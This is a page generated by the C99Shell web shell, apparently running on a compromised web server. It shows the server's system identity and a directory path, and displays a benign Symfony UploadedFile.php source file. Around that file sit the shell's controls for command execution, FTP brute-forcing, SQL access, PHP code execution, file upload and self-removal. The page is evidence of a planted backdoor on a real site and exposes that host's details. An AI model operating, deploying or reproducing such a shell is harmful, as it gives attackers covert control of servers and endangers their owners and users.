!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/symfony/psr-http-message-bridge/Factory/   drwxr-xr-x
Free 28.67 GB of 117.98 GB (24.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UploadedFile.php (1.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Bridge\PsrHttpMessage\Factory;

use 
Psr\Http\Message\UploadedFileInterface;
use 
Symfony\Component\HttpFoundation\File\Exception\FileException;
use 
Symfony\Component\HttpFoundation\File\File;
use 
Symfony\Component\HttpFoundation\File\UploadedFile as BaseUploadedFile;

/**
 * @author Nicolas Grekas <p@tchwork.com>
 */
class UploadedFile extends BaseUploadedFile
{
    private 
bool $test false;

    public function 
__construct(
        private readonly 
UploadedFileInterface $psrUploadedFile,
        callable 
$getTemporaryPath,
    ) {
        
$error $psrUploadedFile->getError();
        
$path '';

        if (
\UPLOAD_ERR_NO_FILE !== $error) {
            
$path $psrUploadedFile->getStream()->getMetadata('uri') ?? '';

            if (
$this->test = !\is_string($path) || !is_uploaded_file($path)) {
                
$path $getTemporaryPath();
                
$psrUploadedFile->moveTo($path);
            }
        }

        
parent::__construct(
            
$path,
            (string) 
$psrUploadedFile->getClientFilename(),
            
$psrUploadedFile->getClientMediaType(),
            
$psrUploadedFile->getError(),
            
$this->test
        
);
    }

    public function 
move(string $directory, ?string $name null): File
    
{
        if (!
$this->isValid() || $this->test) {
            return 
parent::move($directory$name);
        }

        
$target $this->getTargetFile($directory$name);

        try {
            
$this->psrUploadedFile->moveTo((string) $target);
        } catch (
\RuntimeException $e) {
            throw new 
FileException(\sprintf('Could not move the file "%s" to "%s" (%s).'$this->getPathname(), $target$e->getMessage()), 0$e);
        }

        @
chmod($target0666 & ~umask());

        return 
$target;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--